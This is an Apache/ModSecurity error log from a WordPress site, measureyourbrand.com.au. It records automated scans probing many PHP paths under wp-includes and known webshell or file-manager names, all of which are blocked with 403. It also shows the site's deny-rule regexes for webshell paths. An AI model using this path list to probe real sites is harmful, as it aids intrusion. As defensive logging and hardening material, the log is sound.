[Tue May 05 07:45:32.004434 2026] [:error] [pid 41055:tid 41082] [client 45.86.200.85:51327] [client 45.86.200.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "afkvnCepFwKgA_SKOHgPMwAAARg"]
[Tue May 05 07:45:33.374890 2026] [:error] [pid 39178:tid 39189] [client 45.86.200.56:64793] [client 45.86.200.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "afkvnTaPrgTaiOD_15urigAAAMk"]
[Tue May 05 07:45:33.936058 2026] [:error] [pid 39071:tid 39089] [client 45.86.200.77:47429] [client 45.86.200.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "afkvnYvmnRMz9gRzix2dQAAAAAk"]
[Tue May 05 07:45:35.903641 2026] [:error] [pid 41055:tid 41072] [client 45.86.200.112:26391] [client 45.86.200.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "afkvnyepFwKgA_SKOHgPuAAAAQ4"]
[Tue May 05 07:45:36.750786 2026] [:error] [pid 39072:tid 39116] [client 185.82.72.3:32189] [client 185.82.72.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "afkvoPolSHl4aAnrIosl_QAAAEk"]
[Tue May 05 07:45:39.164583 2026] [:error] [pid 39073:tid 39155] [client 45.86.200.74:40205] [client 45.86.200.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "afkvo_0kT1BNjk46Bkdn3wAAAJU"]
[Tue May 05 07:45:40.610596 2026] [:error] [pid 39073:tid 39153] [client 45.86.200.102:46245] [client 45.86.200.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "afkvpP0kT1BNjk46BkdoIAAAAJM"]
[Tue May 05 07:45:42.760327 2026] [:error] [pid 39178:tid 39194] [client 45.86.200.101:55265] [client 45.86.200.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "afkvpjaPrgTaiOD_15ustwAAAM4"]
[Tue May 05 07:45:44.199071 2026] [:error] [pid 41055:tid 41081] [client 45.86.200.56:47069] [client 45.86.200.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "afkvqCepFwKgA_SKOHgQswAAARc"]
[Tue May 05 07:45:46.792435 2026] [:error] [pid 39072:tid 39116] [client 45.86.200.103:63037] [client 45.86.200.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "afkvqvolSHl4aAnrIosnPQAAAEk"]
[Tue May 05 07:45:47.358934 2026] [:error] [pid 39178:tid 39198] [client 45.86.200.73:32605] [client 45.86.200.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "afkvqzaPrgTaiOD_15utNAAAANI"]
[Tue May 05 07:45:47.917504 2026] [:error] [pid 53856:tid 53883] [client 45.86.200.94:53017] [client 45.86.200.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "afkvq3G_NPOxSH0O9aQP6wAAAVI"]
[Tue May 05 07:45:48.507691 2026] [:error] [pid 53856:tid 53874] [client 45.86.200.99:63783] [client 45.86.200.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "afkvrHG_NPOxSH0O9aQQCwAAAUk"]
[Tue May 05 07:45:49.377001 2026] [:error] [pid 39073:tid 39145] [client 45.86.200.79:49349] [client 45.86.200.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "afkvrf0kT1BNjk46BkdpRwAAAIs"]
[Tue May 05 07:45:49.910395 2026] [:error] [pid 39073:tid 39158] [client 45.86.200.82:52505] [client 45.86.200.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "afkvrf0kT1BNjk46BkdpWQAAAJg"]
[Tue May 05 07:45:51.128615 2026] [:error] [pid 39072:tid 39116] [client 45.86.200.59:30671] [client 45.86.200.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "afkvr_olSHl4aAnrIosnzwAAAEk"]
[Tue May 05 07:45:51.670162 2026] [:error] [pid 39072:tid 39119] [client 45.86.200.73:51131] [client 45.86.200.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "afkvr_olSHl4aAnrIosn2AAAAEw"]
[Tue May 05 07:45:52.317855 2026] [:error] [pid 53856:tid 53871] [client 45.86.200.105:60545] [client 45.86.200.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "afkvsHG_NPOxSH0O9aQQxwAAAUY"]
[Tue May 05 07:45:52.894417 2026] [:error] [pid 39072:tid 39123] [client 45.86.200.54:33203] [client 45.86.200.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "afkvsPolSHl4aAnrIosn_AAAAFA"]
[Tue May 05 07:45:53.750062 2026] [:error] [pid 41055:tid 41081] [client 45.86.200.53:56143] [client 45.86.200.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "afkvsSepFwKgA_SKOHgRlQAAARc"]
[Tue May 05 07:45:54.907941 2026] [:error] [pid 53856:tid 53869] [client 45.86.200.97:40507] [client 45.86.200.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "afkvsnG_NPOxSH0O9aQRUQAAAUQ"]
[Tue May 05 07:45:56.661676 2026] [:error] [pid 39178:tid 39180] [client 45.86.200.102:44717] [client 45.86.200.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "afkvtDaPrgTaiOD_15uuTQAAAMA"]
[Tue May 05 07:45:59.155308 2026] [:error] [pid 39072:tid 39117] [client 185.82.72.3:52391] [client 185.82.72.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "afkvt_olSHl4aAnrIoso5wAAAEo"]
[Tue May 05 07:46:00.631447 2026] [:error] [pid 41055:tid 41080] [client 45.86.200.98:51993] [client 45.86.200.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "afkvuCepFwKgA_SKOHgSJgAAARY"]
[Tue May 05 07:46:01.198306 2026] [:error] [pid 53856:tid 53873] [client 45.86.200.102:33009] [client 45.86.200.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "afkvuXG_NPOxSH0O9aQSagAAAUg"]
[Tue May 05 07:46:02.940641 2026] [:error] [pid 53856:tid 53866] [client 45.86.200.83:38467] [client 45.86.200.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "afkvunG_NPOxSH0O9aQS3QAAAUE"]
[Tue May 05 07:46:05.407954 2026] [proxy_fcgi:error] [pid 53856:tid 53878] [client 45.86.200.57:29269] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:46:05.704651 2026] [proxy_fcgi:error] [pid 53856:tid 53866] [client 45.86.200.57:29269] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:46:06.005481 2026] [proxy_fcgi:error] [pid 53856:tid 53876] [client 45.86.200.57:29269] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:46:07.456136 2026] [:error] [pid 53856:tid 53878] [client 45.86.200.57:29269] [client 45.86.200.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "afkvv3G_NPOxSH0O9aQT3wAAAU0"]
[Tue May 05 07:46:08.039943 2026] [:error] [pid 41055:tid 41075] [client 45.86.200.76:32477] [client 45.86.200.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "afkvwCepFwKgA_SKOHgS3AAAARE"]
[Tue May 05 07:46:09.729665 2026] [:error] [pid 39072:tid 39114] [client 45.86.200.77:28921] [client 45.86.200.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "afkvwfolSHl4aAnrIosp2wAAAEc"]
[Tue May 05 07:46:10.264487 2026] [:error] [pid 41055:tid 41071] [client 45.86.200.80:51885] [client 45.86.200.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "afkvwiepFwKgA_SKOHgTIQAAAQ0"]
[Tue May 05 07:46:15.519694 2026] [:error] [pid 39073:tid 39158] [client 45.86.200.86:24531] [client 45.86.200.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "afkvx_0kT1BNjk46BkdsTQAAAJg"]
[Tue May 05 07:46:16.060681 2026] [:error] [pid 39071:tid 39099] [client 45.86.200.109:22583] [client 45.86.200.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "afkvyIvmnRMz9gRzix2heQAAABM"]
[Tue May 05 07:46:16.945709 2026] [:error] [pid 39073:tid 39140] [client 45.86.200.88:28735] [client 45.86.200.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "afkvyP0kT1BNjk46BkdscgAAAIY"]
[Tue May 05 07:46:17.487965 2026] [:error] [pid 39072:tid 39117] [client 45.86.200.99:53693] [client 45.86.200.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "afkvyfolSHl4aAnrIosrEwAAAEo"]
[Tue May 05 07:46:18.050111 2026] [:error] [pid 39072:tid 39111] [client 45.86.200.51:65017] [client 45.86.200.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "afkvyvolSHl4aAnrIosrIwAAAEQ"]
[Tue May 05 07:46:22.847766 2026] [:error] [pid 39178:tid 39197] [client 45.86.200.110:43481] [client 45.86.200.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "afkvzjaPrgTaiOD_15uyowAAANE"]
[Tue May 05 07:46:24.008350 2026] [:error] [pid 53856:tid 53885] [client 45.86.200.94:50827] [client 45.86.200.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "afkv0HG_NPOxSH0O9aQXgQAAAVQ"]
[Tue May 05 07:46:24.875046 2026] [:error] [pid 41055:tid 41078] [client 45.86.200.76:50703] [client 45.86.200.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "afkv0CepFwKgA_SKOHgU1QAAARQ"]
[Tue May 05 07:46:25.965035 2026] [:error] [pid 53856:tid 53879] [client 45.86.200.108:24901] [client 45.86.200.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "afkv0XG_NPOxSH0O9aQYBQAAAU4"]
[Tue May 05 07:46:27.147671 2026] [:error] [pid 53856:tid 53884] [client 45.86.200.75:34835] [client 45.86.200.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "afkv03G_NPOxSH0O9aQYUAAAAVM"]
[Tue May 05 07:46:28.560303 2026] [:error] [pid 39178:tid 39182] [client 45.86.200.101:37737] [client 45.86.200.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "afkv1DaPrgTaiOD_15uzUgAAAMI"]
[Tue May 05 07:46:30.208731 2026] [:error] [pid 39071:tid 39095] [client 45.86.200.82:62485] [client 45.86.200.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "afkv1ovmnRMz9gRzix2i4wAAAA8"]
[Tue May 05 07:46:31.115600 2026] [:error] [pid 39072:tid 39117] [client 45.86.200.52:54599] [client 45.86.200.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "afkv1_olSHl4aAnrIoss3QAAAEo"]
[Tue May 05 07:46:36.254957 2026] [:error] [pid 39071:tid 39085] [client 45.86.200.54:27737] [client 45.86.200.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "afkv3IvmnRMz9gRzix2jkgAAAAU"]
[Tue May 05 07:46:36.822345 2026] [:error] [pid 39072:tid 39119] [client 45.86.200.53:24591] [client 45.86.200.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "afkv3PolSHl4aAnrIostvAAAAEw"]
[Tue May 05 07:46:37.658647 2026] [:error] [pid 39071:tid 39101] [client 45.86.200.98:61485] [client 45.86.200.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "afkv3YvmnRMz9gRzix2jswAAABU"]
[Tue May 05 07:46:38.829389 2026] [:error] [pid 41055:tid 41062] [client 45.86.200.111:26413] [client 45.86.200.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "afkv3iepFwKgA_SKOHgWTQAAAQQ"]
[Tue May 05 07:46:40.420505 2026] [:error] [pid 53856:tid 53868] [client 45.86.200.88:58761] [client 45.86.200.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "afkv4HG_NPOxSH0O9aQa7QAAAUM"]
[Tue May 05 07:46:42.246132 2026] [:error] [pid 53856:tid 53887] [client 45.86.200.82:53585] [client 45.86.200.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "afkv4nG_NPOxSH0O9aQbUAAAAVY"]
[Tue May 05 07:46:42.812025 2026] [:error] [pid 39071:tid 39102] [client 45.86.200.59:31547] [client 45.86.200.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "afkv4ovmnRMz9gRzix2kJAAAABY"]
[Tue May 05 07:46:44.749015 2026] [:error] [pid 39072:tid 39115] [client 45.86.200.112:33849] [client 45.86.200.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "afkv5PolSHl4aAnrIosutAAAAEg"]
